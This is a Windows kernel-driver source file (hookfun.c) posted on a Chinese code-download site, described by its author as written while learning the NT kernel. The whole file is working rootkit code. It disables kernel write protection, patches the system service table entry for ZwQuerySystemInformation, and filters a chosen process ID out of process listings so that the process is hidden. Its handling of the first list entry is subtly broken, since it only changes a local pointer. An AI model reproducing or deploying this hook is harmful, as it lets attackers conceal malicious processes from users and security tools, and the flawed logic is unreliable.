⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookfun.c

📁 该代码为我学习winnt内核时所写
💻 C
字号:
#include "pch.h"
#include "../intrface.h"

extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

#define SERVICE_ADDRESS(id) KeServiceDescriptorTable->ntoskrnl.ServiceTable[id]

//固定ID为ZwQuerySystemInformation
DWORD g_ServiceID = 0x97;
//存储原始的ZwQuerySystemInformation地址
PZW_QUERY_SYSTEMINFORMATION g_pOldZwQuerySystemInformation = NULL;
//要hook的进程ID
DWORD g_PID = 0;

///////////////////////////////////////////////////////////////////////////////////////////////////
//  StartHook 
//      开始hook,改写服务索引表的值
//
//  argument
//    IN  ulPID     要隐藏的进程ID
//
//  return
//    void
//   
void StartHook(ULONG ulPID)
{
    DWORD dwOldCR0;

    g_PID = ulPID;
    if(g_pOldZwQuerySystemInformation != NULL)
    {
        DbgPrint("Already Hook!\n");
        return;
    }

    //修改写保护位
    __asm
    {
        mov eax, cr0
        mov dwOldCR0, eax
        and eax, 0FFFEFFFFh
        mov cr0, eax
    }
    
    g_pOldZwQuerySystemInformation = 
        (PZW_QUERY_SYSTEMINFORMATION)InterlockedExchange(
        (LONG *)&SERVICE_ADDRESS(g_ServiceID), (LONG)NewZwQuerySystemInformation);

    DbgPrint("Hook Success, FunAddr: %p PID: %d\n", g_pOldZwQuerySystemInformation, g_PID);

    //恢复写保护位
    __asm
    {
        mov eax, dwOldCR0
        mov cr0, eax
    }
}

///////////////////////////////////////////////////////////////////////////////////////////////////
//  EndHook 
//      停止hook,恢复服务索引表的值 
//
//  return
//    void
//   
void EndHook()
{
    DWORD dwOldCR0;

    if(g_pOldZwQuerySystemInformation == NULL)
    {
        DbgPrint("Please Hook First!\n");
        return;
    }

    //修改写保护位
    __asm
    {
        mov eax, cr0
        mov dwOldCR0, eax
        and eax, 0FFFEFFFFh
        mov cr0, eax
    }
    
    InterlockedExchange((LONG *)&SERVICE_ADDRESS(g_ServiceID), (LONG)g_pOldZwQuerySystemInformation);
    g_pOldZwQuerySystemInformation = NULL;

    DbgPrint("Stop Hook Success, FunAddr\n");

    //恢复写保护位
    __asm
    {
        mov eax, dwOldCR0
        mov cr0, eax
    }
}

///////////////////////////////////////////////////////////////////////////////////////////////////
//  NewZwQuerySystemInformation 
//      替代ZwQuerySystemInformation的函数,实现进城的隐藏
//  
//  argument
//    IN  SystemInformationClass        获取信息的类型
//    OUT SystemInformation             输出信息的buf地址
//    IN  SystemInformationLength       buf的空间大小
//    OUT ReturnLength                  实际写入的大小
//
//  return
//    NT status code
//    
NTSTATUS NTAPI NewZwQuerySystemInformation(
    IN  SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN  ULONG SystemInformationLength,
    OUT PULONG ReturnLength
    )
{
    NTSTATUS status;
    PSYSTEM_PROCESSES pCur, pPrev;

    status = g_pOldZwQuerySystemInformation(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);

    //若buffer太小而返回正确则跳过
    if( ReturnLength != NULL && *ReturnLength > SystemInformationLength )
    {
        return status;
    }
    if( NT_SUCCESS(status) 
        && SystemInformationClass == SystemProcessesAndThreadsInformation )
    {
        pCur = (PSYSTEM_PROCESSES)SystemInformation;
        pPrev = NULL;

        while(pCur)
        {
            if(pCur->ProcessId == g_PID)
            {
                DbgPrint("Find Process PID: %d pPrev: %p pCur: %p\n", g_PID, pPrev, pCur);

                if(!pPrev)
                {
                    //头结点但不是唯一结点
                    if(pCur->NextEntryDelta != 0)
                    {
                        SystemInformation = (PVOID)((DWORD)SystemInformation + pCur->NextEntryDelta);

                        //去除头结点,pPrev为空
                        pPrev = NULL;
                        (BYTE *)pCur += pCur->NextEntryDelta;
                        continue;
                    }
                    //头结点且是唯一结点
                    else
                    {
                        SystemInformation = NULL;
                    }
                }
                else
                {
                    //中间结点
                    if(pCur->NextEntryDelta != 0)
                    {
                        pPrev->NextEntryDelta += pCur->NextEntryDelta;
                        
                        //去除中间结点,pPrev不变
                        (BYTE *)pCur += pCur->NextEntryDelta;
                        continue;
                    }
                    //尾部结点
                    else
                    {
                        pPrev->NextEntryDelta = 0;
                    }
                }
            }

            pPrev = pCur;
            if(pCur->NextEntryDelta != 0)
            {
                (BYTE *)pCur += pCur->NextEntryDelta;
            }
            else
            {
                pCur = NULL;
            }
        }
    }

    return status;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -